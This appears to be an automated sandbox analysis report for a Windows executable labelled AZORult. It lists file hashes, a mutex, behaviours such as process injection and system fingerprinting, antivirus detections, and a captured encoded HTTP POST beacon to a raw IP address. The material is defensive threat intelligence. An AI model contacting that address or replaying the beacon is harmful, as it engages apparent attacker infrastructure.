AZORult_90c9ac29dcb3a77313fa1266cd30296c_exe_2019-08-01_08_30.txt

* MalFamily: ""

* MalScore: 10.0

* File Name: "AZORult_90c9ac29dcb3a77313fa1266cd30296c.exe"
* File Size: 1156096
* File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
* SHA256: "2314f901bdf9fb8e27f63cfc5b8527406e8983a3d2de4020123bb227612efd5f"
* MD5: "90c9ac29dcb3a77313fa1266cd30296c"
* SHA1: "4611c857be625200c1497554f08bea2672549c93"
* SHA512: "962545c9325d7e87c6bf12388b361fe55ceb9cb1d5775a6ae16f433ad3b7bdf00c53c71ee18a5a6410d9d47c4c5c547c1f47084b754cea865abbf3c01cea48e0"
* CRC32: "5EFAFE9B"
* SSDEEP: "24576:wAHnh+eWsN3skA4RV1Hom2KXMmHaCCPlhkFpAYgd1vg5:nh+ZkldoPK8YaC+CFpAYi1u"

* Process Execution:
    "AZORult_90c9ac29dcb3a77313fa1266cd30296c.exe",
    "AZORult_90c9ac29dcb3a77313fa1266cd30296c.exe"


* Executed Commands:

* Signatures Detected:

        "Description": "Creates RWX memory",
        "Details":


        "Description": "Possible date expiration check, exits too soon after checking local time",
        "Details":

                "process": "AZORult_90c9ac29dcb3a77313fa1266cd30296c.exe, PID 1348"




        "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
        "Details":

                "post_no_referer": "HTTP traffic contains a POST request with no referer header"


                "ip_hostname": "HTTP connection was made to an IP address rather than domain name"


                "suspicious_request": "http://137.74.181.121/index.php"




        "Description": "Performs some HTTP requests",
        "Details":

                "url": "http://137.74.181.121/index.php"




        "Description": "The binary likely contains encrypted or compressed data.",
        "Details":

                "section": "name: .rsrc, entropy: 7.95, characteristics: IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ, raw_size: 0x0004fe00, virtual_size: 0x0004fdbc"




        "Description": "Executed a process and injected code into it, probably while unpacking",
        "Details":

                "Injection": "AZORult_90c9ac29dcb3a77313fa1266cd30296c.exe(2236) -> AZORult_90c9ac29dcb3a77313fa1266cd30296c.exe(1348)"




        "Description": "File has been identified by 22 Antiviruses on VirusTotal as malicious",
        "Details":

                "MicroWorld-eScan": "Trojan.AutoIt.Agent.XC"


                "FireEye": "Generic.mg.90c9ac29dcb3a773"


                "Cylance": "Unsafe"


                "Arcabit": "Trojan.AutoIt.Agent.XC"


                "Invincea": "heuristic"


                "APEX": "Malicious"


                "BitDefender": "Trojan.AutoIt.Agent.XC"


                "Emsisoft": "Trojan.AutoIt.Agent.XC (B)"


                "McAfee-GW-Edition": "BehavesLike.Win32.Downloader.tc"


                "Trapmine": "malicious.high.ml.score"


                "MAX": "malware (ai score=89)"


                "Antiy-AVL": "GrayWare/Autoit.RunPE.a"


                "Microsoft": "Trojan:Win32/Wacatac.B!ml"


                "GData": "Trojan.AutoIt.Agent.XC (2x)"


                "AhnLab-V3": "Trojan/Win32.Inject.C3322097"


                "Acronis": "suspicious"


                "Ad-Aware": "Trojan.AutoIt.Agent.XC"


                "ESET-NOD32": "a variant of Win32/Injector.Autoit.EEI"


                "Rising": "Trojan.Win32.Agent.jxu (CLASSIC)"


                "SentinelOne": "DFI - Suspicious PE"


                "CrowdStrike": "win/malicious_confidence_80% (W)"


                "Qihoo-360": "HEUR/QVM10.1.E8CF.Malware.Gen"




        "Description": "Collects information to fingerprint the system",
        "Details":


        "Description": "Anomalous binary characteristics",
        "Details":

                "anomaly": "Actual checksum does not match that reported in PE header"





* Started Service:

* Mutexes:
    "A81FB8C60-BBE6E186-FC9B5DB5-36DA4559-33946726"


* Modified Files:

* Deleted Files:

* Modified Registry Keys:

* Deleted Registry Keys:

* DNS Communications:

* Domains:

* Network Communication - ICMP:

* Network Communication - HTTP:

        "count": 1,
        "body": "\\x00\\x00\\x00&f\\x96&f\\x9fE\\x17\\x8b0m\\xed&f\\x98&f\\x9e&g\\xeaA\\x17\\xeb&f\\x98Fp\\x9d2p\\x9d;p\\x9d5p\\x9cG\\x13\\xed&f\\x97Ap\\x9d6\\x11\\xec&f\\x9b&g\\xea&f\\x9d&f\\x98G\\x14\\x8b0a\\x8b0`\\x8b0`\\x8b0l\\x8b1\\x11\\x8b0f\\x8b0f\\x8b0l\\x8b0a\\x8b0c\\x8b0b\\x8b0g\\x8b0c",
        "uri": "http://137.74.181.121/index.php",
        "user-agent": "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)",
        "method": "POST",
        "host": "137.74.181.121",
        "version": "1.1",
        "path": "/index.php",
        "data": "POST /index.php HTTP/1.1\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)\r\nHost: 137.74.181.121\r\nContent-Length: 107\r\nCache-Control: no-cache\r\n\r\n\\x00\\x00\\x00&f\\x96&f\\x9fE\\x17\\x8b0m\\xed&f\\x98&f\\x9e&g\\xeaA\\x17\\xeb&f\\x98Fp\\x9d2p\\x9d;p\\x9d5p\\x9cG\\x13\\xed&f\\x97Ap\\x9d6\\x11\\xec&f\\x9b&g\\xea&f\\x9d&f\\x98G\\x14\\x8b0a\\x8b0`\\x8b0`\\x8b0l\\x8b1\\x11\\x8b0f\\x8b0f\\x8b0l\\x8b0a\\x8b0c\\x8b0b\\x8b0g\\x8b0c",
        "port": 80



* Network Communication - SMTP:

* Network Communication - Hosts:

* Network Communication - IRC: